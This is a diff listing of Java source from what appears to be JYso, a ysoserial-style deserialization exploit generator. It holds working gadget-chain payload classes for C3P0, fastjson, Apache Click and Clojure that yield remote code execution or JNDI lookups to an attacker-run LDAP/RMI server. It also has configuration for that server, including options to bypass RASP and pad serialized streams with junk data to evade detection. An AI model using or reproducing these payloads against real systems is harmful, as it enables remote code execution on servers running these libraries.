@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class C3P0JNDI implements ObjectPayload<Object> { public class C3P0JNDI implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) { if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5); command = command.substring(5);
} }
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
} }
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o, "jndiName", command); Reflections.setFieldValue(o, "jndiName", command);
Reflections.setFieldValue(o, "identityToken", "exp"); Reflections.setFieldValue(o, "identityToken", "exp");
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>(); HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val); hashMap.put(o, val);
return hashMap; return hashMap;
} }
} }
@@ -1,40 +1,40 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource; import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.HashMap;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class C3P0JNDI2 implements ObjectPayload<Object> { public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) { if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5); command = command.substring(5);
} }
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
} }
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource(); JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
o.setJndiName(command); o.setJndiName(command);
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>(); HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val); hashMap.put(o, val);
return hashMap; return hashMap;
} }
} }
@@ -1,15 +1,15 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
@SuppressWarnings({"rawtypes", "unused"}) @SuppressWarnings({"rawtypes", "unused"})
public class C3P0RefDataSource implements ObjectPayload { public class C3P0RefDataSource implements ObjectPayload {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// requires ordering // requires ordering
Reflections.setFieldValue(obj, "jndiName", command); Reflections.setFieldValue(obj, "jndiName", command);
Reflections.setFieldValue(obj, "loginTimeout", 0); Reflections.setFieldValue(obj, "loginTimeout", 0);
return obj; return obj;
} }
} }
@@ -1,42 +1,42 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex; import org.apache.commons.codec.binary.Hex;
import javax.naming.Name; import javax.naming.Name;
import javax.naming.Reference; import javax.naming.Reference;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.net.URI; import java.net.URI;
import java.util.Hashtable; import java.util.Hashtable;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class C3P0WrapperConnPool implements ObjectPayload<Object> { public class C3P0WrapperConnPool implements ObjectPayload<Object> {
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException, public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException { InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream(); ByteArrayOutputStream b = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(b)) { try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true); con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase); Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null); Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref); oos.writeObject(ref);
} }
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
URI uri = new URI(command); URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1])); Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
return obj; return obj;
} }
} }
+78 -78
View File
@@ -1,78 +1,78 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column; import org.apache.click.control.Column;
import org.apache.click.control.Table; import org.apache.click.control.Table;
import java.math.BigInteger; import java.math.BigInteger;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
/** /**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare(). * We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p> * <p>
* Chain: * Chain:
* <p> * <p>
* java.util.PriorityQueue.readObject() * java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify() * java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown() * java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator() * java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare() * org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty() * org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty() * org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue() * org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue() * org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke() * java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ... * ...
* <p> * <p>
* Arguments: * Arguments:
* - command to execute * - command to execute
* <p> * <p>
* Yields: * Yields:
* - RCE via TemplatesImpl.getOutputProperties() * - RCE via TemplatesImpl.getOutputProperties()
* <p> * <p>
* Requires: * Requires:
* - Apache Click * - Apache Click
* - servlet-api of any version * - servlet-api of any version
* <p> * <p>
* by @artsploit * by @artsploit
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT}) @Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> { public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values // prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit"); final Column column = new Column("lowestSetBit");
column.setTable(new Table()); column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator // create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later // stub data for replacement later
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
// switch method called by the comparator, // switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared // so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties"); column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue, // finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called // so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template; final Object template;
template = Gadgets.createTemplatesImpl(command); template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template; queueArray[0] = template;
return queue; return queue;
} }
} }
@@ -1,51 +1,51 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import clojure.core$comp; import clojure.core$comp;
import clojure.core$constantly; import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap; import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt; import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil; import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/** /**
* Gadget chain: * Gadget chain:
* ObjectInputStream.readObject() * ObjectInputStream.readObject()
* HashMap.readObject() * HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode() * AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke() * clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke() * clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke() * clojure.main$eval_opt.invoke()
* <p> * <p>
* Requires: * Requires:
* org.clojure:clojure * org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"org.clojure:clojure:1.8.0"}) @Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES}) @Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> { public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception { public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command); String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>(); Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0)); fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>(); HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null); targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp()) fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly()) .invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload))); .invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap; return targetMap;
} }
} }
@@ -1,174 +1,174 @@
package com.qi4l.JYso.gadgets.Config; package com.qi4l.JYso.gadgets.Config;
import com.beust.jcommander.JCommander; import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter; import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter; import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil; import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool; import javassist.ClassPool;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import java.util.*; import java.util.*;
public class Config { public class Config {
public static String codeBase; public static String codeBase;
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
public static String ip = "0.0.0.0"; public static String ip = "0.0.0.0";
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389; public static int ldapPort = 1389;
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2) @Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
public static int ldapsPort = 1669; public static int ldapsPort = 1669;
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
public static int rmiPort = 1099; public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456; public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami"; public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
public static boolean showVersion; public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
public static boolean showGadgets; public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123"; public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
public static String USER = ""; public static String USER = "";
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
public static String PASSWD = ""; public static String PASSWD = "";
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5) @Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
public static boolean TLSProxy = false; public static boolean TLSProxy = false;
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
public static String keyPass = ""; public static String keyPass = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
public static String certFile = ""; public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false; public static boolean jndi = false;
public static String rhost; public static String rhost;
public static String rport; public static String rport;
// 从HTTP外部获取路由值 // 从HTTP外部获取路由值
public static String ROUTE = ""; public static String ROUTE = "";
// 从HTTP外部获取参数值 // 从HTTP外部获取参数值
public static String BCEL1 = ""; public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet // 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
//是否使用反射绕过RASP //是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false; public static Boolean IS_OBSCURE = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据 // 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false; public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false; public static Boolean IS_UTF_Bypass = false;
// 填充的脏数据长度 // 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0; public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// DefineClassFromParameter 的路径 // DefineClassFromParameter 的路径
public static String PARAMETER = "dc"; public static String PARAMETER = "dc";
// 将输入直接写在文件里 // 将输入直接写在文件里
public static String FILE = "out.ser"; public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false; public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false; public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl // 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎 // ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false; public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault(); public static ClassPool POOL = ClassPool.getDefault();
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
private static boolean help = false; private static boolean help = false;
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"}) @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
public static void applyCmdArgs(String[] args) { public static void applyCmdArgs(String[] args) {
//process cmd args //process cmd args
JCommander jc = JCommander.newBuilder() JCommander jc = JCommander.newBuilder()
.addObject(new Config()) .addObject(new Config())
.build(); .build();
try { try {
jc.parse(args); jc.parse(args);
} catch (Exception e) { } catch (Exception e) {
System.out.println("Error: " + e.getMessage() + "\n"); System.out.println("Error: " + e.getMessage() + "\n");
help = true; help = true;
} }
if (showGadgets) { if (showGadgets) {
final List<Class<? extends ObjectPayload<?>>> payloadClasses = final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>(); final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"}); rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"}); rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) { for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{ rows.add(new String[]{
payloadClass.getSimpleName(), payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
}); });
} }
final List<String> lines = StringUtil.formatTable(rows); final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) { for (String line : lines) {
System.out.println(" " + line); System.out.println(" " + line);
} }
System.exit(0); System.exit(0);
} }
if (showVersion) { if (showVersion) {
System.exit(0); System.exit(0);
} }
//获取当前 Jar 的名称 //获取当前 Jar 的名称
jc.setProgramName("java -jar JYso.jar"); jc.setProgramName("java -jar JYso.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if (help) { if (help) {
jc.usage(); //if -h specified, show help and exit jc.usage(); //if -h specified, show help and exit
System.exit(0); System.exit(0);
} }
// 特别注意:最后一个反斜杠不能少啊 // 特别注意:最后一个反斜杠不能少啊
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
} }
public static void logo() { public static void logo() {
String logo = " ┏┳┓┏ \n" + String logo = " ┏┳┓┏ \n" +
" ┃┗┫┏┏┓ \n" + " ┃┗┫┏┏┓ \n" +
" ┗┛┗┛┛┗┛ "; " ┗┛┗┛┛┗┛ ";
// 高亮颜色代码(不包括黑色) // 高亮颜色代码(不包括黑色)
Ansi.Color[] colors = { Ansi.Color[] colors = {
Ansi.Color.RED, Ansi.Color.RED,
Ansi.Color.GREEN, Ansi.Color.GREEN,
Ansi.Color.YELLOW, Ansi.Color.YELLOW,
Ansi.Color.BLUE, Ansi.Color.BLUE,
Ansi.Color.MAGENTA, Ansi.Color.MAGENTA,
Ansi.Color.CYAN, Ansi.Color.CYAN,
Ansi.Color.WHITE Ansi.Color.WHITE
}; };
Random random = new Random(); Random random = new Random();
StringBuilder coloredLogo = new StringBuilder(); StringBuilder coloredLogo = new StringBuilder();
for (char c : logo.toCharArray()) { for (char c : logo.toCharArray()) {
if (c != ' ' && c != '\n') { if (c != ' ' && c != '\n') {
// 选择一个随机的高亮颜色 // 选择一个随机的高亮颜色
Ansi.Color color = colors[random.nextInt(colors.length)]; Ansi.Color color = colors[random.nextInt(colors.length)];
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset()); coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
} else { } else {
// 保持空格和换行符 // 保持空格和换行符
coloredLogo.append(c); coloredLogo.append(c);
} }
} }
System.out.println(coloredLogo); System.out.println(coloredLogo);
} }
} }
File diff suppressed because one or more lines are too long
@@ -1,191 +1,191 @@
package com.qi4l.JYso.gadgets.Config; package com.qi4l.JYso.gadgets.Config;
import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil; import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*; import org.apache.commons.cli.*;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.*; import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo; import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial { public class ysoserial {
private static final Logger log = LogManager.getLogger(ysoserial.class); private static final Logger log = LogManager.getLogger(ysoserial.class);
public static CommandLine cmdLine; public static CommandLine cmdLine;
public static Object PAYLOAD = null; public static Object PAYLOAD = null;
public static void run(String[] args) { public static void run(String[] args) {
final Options options = getOptions(); final Options options = getOptions();
CommandLineParser parser = new DefaultParser(); CommandLineParser parser = new DefaultParser();
if (args.length == 1) { if (args.length == 1) {
printUsage(options); printUsage(options);
System.exit(1); System.exit(1);
} }
try { try {
cmdLine = parser.parse(options, args); cmdLine = parser.parse(options, args);
} catch (Exception e) { } catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information"); System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options); printUsage(options);
System.exit(1); System.exit(1);
} }
if (cmdLine.hasOption("inherit")) { if (cmdLine.hasOption("inherit")) {
